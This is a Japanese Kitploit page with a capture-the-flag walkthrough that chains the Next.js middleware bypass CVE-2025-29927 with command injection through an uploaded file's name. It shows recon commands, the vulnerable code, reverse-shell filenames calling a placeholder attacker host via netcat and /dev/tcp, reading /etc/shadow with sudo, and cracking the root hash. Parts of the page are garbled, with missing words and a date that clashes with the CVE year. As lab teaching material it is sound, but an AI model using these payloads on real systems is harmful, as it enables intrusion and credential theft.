Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
パスワードクラッキング特権昇格脆弱性分析ウェブアプリケーション悪用CTFコマンド&コントロール学習と教育
GitHubsi-ni/cve-2025-29927-proof-of-concept

CVE-2025-29927-Proof-of-Concept

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Capture the Flag チャレンジ: CVE-2025-29927 とコマンドインジェクションの脆弱性を組み合わせたもの

リポジトリを見る
27ヶ月前未レビュー

ウォークスルー

ステップ1 (5分)

ヒント ターゲットが公開しているネットワークサービスは?

— — —

解決策
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

ステップ2 (5分)

ヒント 1 ランディングページはログインページのみ表示されますが、Webサーバーは追加のパスを公開することがよくあります。
ヒント 2 GobusterやDirBusterなどのディレクトリブルートフォースツールを試してみてください。

— — —

解決策
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

ステップ3 (20分)

ヒント 1 /dashboard ページは /login にリダイレクトされます。ログインページに、リダイレクトをバイパスできる情報はありますか?
画像
ヒント 2 Next.js バージョン 15.2.2 に関する何かを見つけられますか?
ヒント 3 CVE-2025-29927 を調べてください。Burp Suite のプロキシを使用してリクエストを傍受し、転送前にリクエストヘッダーを操作してください。

— — —

解決策

背景

多くのWebアプリケーションは、ミドルウェアを使用して /dashboard などの機密ルートを保護しています。ミドルウェアはリクエストをチェックし、セッションクッキーを検証し、ユーザーの権限を確認します。チェックに失敗すると、ミドルウェアは通常 /login にリダイレクトします。

脆弱性のメカニズム

CVE-2025-29927 は、Next.js のミドルウェア処理における設計上の欠陥です。攻撃者は x-middleware-subrequest ヘッダーを悪用することで、ミドルウェアの保護を完全にバイパスできます。Next.js はこのヘッダーを内部で使用して、ミドルウェアの無限ループを防いでいます。リクエストが処理されると、runMiddleware 関数がリクエストヘッダーをチェックします:
  • x-middleware-subrequest が存在する場合
  • かつその値がミドルウェア名を含む場合
  • その場合、Next.js はミドルウェアの実行をスキップし、リクエストを直接転送します
これは内部最適化を目的としていましたが、外部ユーザーもこのヘッダーを設定できるという欠陥があります。

脆弱なコード

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  

バージョン13.2.0以降の場合

Next.js はミドルウェア実行の最大再帰深度を導入しました。これは無限ループを防ぐために実装されましたが、脆弱性には影響しません。
root@kitploit:~
このヘッダーを使用することで、ミドルウェアに「これは既にミドルウェアによって生成されたリクエストです。ミドルウェアを再度実行しないでください」と伝えます。 Next.js は現在、ミドルウェアが実行される前に、すべての受信外部リクエストから ヘッダーを削除します。このヘッダーは、正当なミドルウェアチェーン中に Next.js ランタイム内で作成された場合にのみ信頼されます。具体的には、x-middleware-subrequest の値がランダムに生成された16進文字列に対して検証されるようになり、正当な内部サブリクエストのみが認証チェックを通過できるようになります。そのため、攻撃者がヘッダーを送信しても、Next.js は実際の内部サブリクエスト(正しいランダムトークンを持つ)と外部攻撃者からのなりすましを区別できるようになりました。

ステップ4 (15分)

ヒント 1 ファイルアップロードもミドルウェアで保護されているため、すべてのリクエストにステップ3のヘッダーを送信する必要があります。
ヒント 2 ユーザー入力は常に高いリスクをもたらします。ここではファイルの内容以外に、何がユーザー入力とみなされますか?また、画像がどのように処理されるかを明らかにする情報をページ上で見つけられますか?
ヒント 3 悪意のあるファイル名を試してみてください。https://www.revshells.com/

— — —

解決策

説明

root@kitploit:~

    const filename = file.name; // 脆弱: サニタイズなし!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
元のファイル名はユーザーが制御でき、悪意のある文字を含める可能性があります。開発者は一部の危険な文字を削除しています(ホワイトリストではなくブラックリスト)。convert コマンドは exec() を使用して実行され、元のファイル名(ユーザー入力)がシェルコマンドに直接挿入されます。1つの修正方法としては、ユーザーのファイル名の代わりにランダムに生成されたファイル名を使用し、シェルを回避する安全なAPIを使用することです。

エクスプロイト

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
悪意のあるファイル名:
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
フラグは にあります:

ボーナス (5分)

ヒント 1 webuser にはどのような sudo 権限がありますか?
ヒント 2 John the Ripper や Hashcat のようなツールが役立つかもしれません。ファイル rockyou.txt.gz をコマンド gzip -d /usr/share/wordlists/rockyou.txt.gz で解凍してください。

— — —

解決策
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
フラグは /root にあります:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
ツールをダウンロード
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

画像
画像

修正

x-middleware-subrequest
画像
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}